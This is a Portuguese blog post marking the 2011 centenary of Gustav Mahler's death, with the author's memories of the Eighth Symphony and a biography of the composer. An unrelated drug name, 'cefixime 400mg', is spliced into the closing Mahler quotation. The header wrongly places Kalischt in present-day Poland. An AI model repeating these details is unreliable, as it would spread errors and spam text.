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2011 – centenário de morte de Gustav Mahler

Neste ano de 2011, celebra-se no mundo da música clássica o centenário de morte de Gustav Mahler. Na minha ótica de leigo no assunto, Gustav Mahler é sinônimo de obras grandiosas e espetaculares.

Há 2 ou 3 anos, se bem me recordo, assisti a duas apresentações da Sinfonia dos Mil. Ambas com a Orquestra Petrobrás Sinfônica junto com a Orquestra Sinfônica de Porto Alegre. A primeira foi no Theatro Municipal do Rio e a segunda, uma semana depois, na praia de Copacabana, numa performance espetacular de todos os envolvidos no evento.

Ouvir em CD é uma coisa. Ver e ouvir em DVD é muito melhor, mas nada se pode comparar, dependendo do lugar onde você estiver, com o evento ao vivo.

Em honra a esta efeméride, envolvendo este grande compositor, apresento a sua biografia. Após a leitura, nada melhor que um CD ou um DVD de uma de suas obras, para fecharmos os olhos e, ouvindo, imaginarmos o melhor cenário para a obra escolhida.

 

Gustav Mahler
07.07.1860, Kalischt, Boêmia (atual Polônia)  –  18.05.1911, Viena

“A Sinfonia é como o mundo, deve abarcar tudo” – (Mahler, 1907)

Pouco depois do seu nascimento, a família de Mahler mudou-se para Jihlava. Nessa cidade, o exército austríaco era presença constante. As marchas militares e os toques de recolher marcaram-no de tal forma, que muitas das suas composições fazem referência a esses tipos de sons, com os instrumentos de sopro, lembrando a música militar. São sinfonias coloridas com alternâncias rápidas e inesperadas de notas altas e baixas, sons fortes e fracos, momentos de tragédia, triunfo, paz.

Foi em 1866, com apenas 6 anos, que Mahler teve  as primeiras lições de música: piano. Em 1870, deu o primeiro recital em público e começou a estudar no Gymnasium de Praga. Aos 15 anos, ingressou no Conservatório de Viena, onde permaneceu durante 3 anos. Em 1876, recebeu vários prêmios de composição e piano e, também neste ano, apresentou sua sonata para violino e executou o quinteto para piano. Em 1878, com 18 anos, recebeu o Diploma do Conservatório de Viena.

Trabalhou por 3 meses como maestro no Teatro de Hall, onde dirigiu farsas e operetas. Em 1883, recebeu um convite para Olmutz, onde começa verdadeiramente a sua carreira como maestro. No mesmo ano, tornou-se regente substituto do Teatro da Corte em Kassel. Em 1888, tornou-se Diretor da Ópera Real de Budapeste, que atravessava um período de grandes dificuldades. Mahler conseguiu, no entanto, salvá-la da falência. Em 1891, pediu demissão da Ópera (devido a algumas divergências) e tornou-se regente titular do Teatro Municipal de Hamburgo.

Em 1897, converteu-se ao catolicismo e, nesse mesmo ano, foi nomeado Kapellmeister  na Ópera da Corte de Viena, tornando-se,  posteriormente,  Subdiretor e Diretor. Em 1907, além de descobrir que tinha uma doença cardíaca, acabou perdendo o emprego na Ópera.

No mesmo ano, aceitou convite para dirigir a Ópera Metropolitana de Nova Iorque (Metropolitan Opera), mas, em 1909, desligou-se dela e aceitou um contrato de 3 anos com a New York Phillarmonic Orchestra. Em 1910, terminou a 9.ª Sinfonia, seu último trabalho completo.  Não pôde, porém, assistir à estreia desta sinfonia, a que melhor reflete a transição para um novo conceito de música. Em 1911, muito doente, morreu em Viena, enquanto trabalhava a 10.ª sinfonia, que deixou inacabada.

Apesar de ter sua obra reconhecida apenas nos anos 60, Mahler foi um compositor dos mais importantes. Para isso contribuíram as gravações de Leonard Bernstein, um de seus sucessores à frente da Filarmônica de Nova York, assim como biografias, escritas por Theodor W. Adorno e Otto Klemperer, publicadas na década de 60. A última contribuição para sua redescoberta foi a utilização do Adagietto de sua quinta sinfonia como parte da trilha sonora do filme Morte em Veneza, de Luchino Visconti (1970). A música de Mahler é impregnada de romantismo, mas possui novas tendências. Suas composições seguem a linha de Anton Bruckner e Beethoven.

Como compositor, deixou nove sinfonias, uma décima inacabada (completada por Deryck Cooke em 1964), baladas para piano e orquestra, lieders  e algumas óperas. Suas sinfonias utilizam coro e solo vocal e são consideradas o pleno desenvolvimento do pós-romantismo. Considerado exímio orquestrador, possuía uma combinação de instrumentos e timbres que expressavam as suas intenções de forma criativa, original e profunda.

Uma característica marcante nas obras de Mahler era um certo caráter sombrio, algumas vezes ligado ao funesto. Passagens alegres dão lugar a outras trágicas e de desespero que refletem a vida atribulada do compositor.

A cantata Das Klagende Lied (1880), sua primeira obra pessoal, já apresentava as características de suas composições: referência ao folclore alemão, orquestração vigorosa nas descrições da natureza e melodia próxima da canção popular. Sua música exerceu grande influência sobre compositores como Arnold Shoënberg e Alban Berg.

Suas canções orquestrais inspiraram-se em textos de Friedrich Rückert (Canções das Crianças Mortas, 1904), em seus próprios versos (Canções de um Viandante, 1885) e em textos extraídos para Des Knaben Wunderhorn (1883).  As quatro primeiras sinfonias tinham canções populares para interpretação de solistas ou coro. A quinta, sexta e sétima são instrumentais. A estreia, em 1910, da oitava sinfonia, chamada dos Mil (porque utilizava cerca de 1000 músicos),  dirigida por ele mesmo, precisou de dois coros e um terceiro de vozes brancas, oito vozes solistas, órgão e grande orquestra.

Trabalhando como diretor artístico da Ópera da corte imperial e como diretor da Filarmônica de Nova York, sua atividade caracterizou-se por disciplina, pela construção de um magnífico conjunto coral e por uma direção revolucionária: Mahler trouxe uma nova idade de ouro ao classicismo vienense.

Entre as inovações introduzidas por ele, estão o uso de melodias com grandes implicações para a harmonia, a combinação expressiva de instrumentos e a combinação do coro com a forma sinfônica. A influência de Wagner foi decisiva para o seu trabalho.

Mesmo após sua morte, por causa do regime nazista, as obras de Mahler tiveram muita dificuldade para serem executadas, devido à política anti-semita que pairava naquela altura. Proveniente de uma família judia (uma minoria Alemã que vivia na Boêmia), sofreu com o anti-semitismo institucional. Costumava dizer: cefixime 400mg “Sou três vezes apátrida: como natural da Boêmia na Áustria, como austríaco na Alemanha e como Judeu no mundo inteiro. Em toda a parte um intruso, em nenhum lugar desejado”.

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Antônio Rodrigues
Apaixonado por música coral, é um dos fundadores e mantenedor do movimento.com.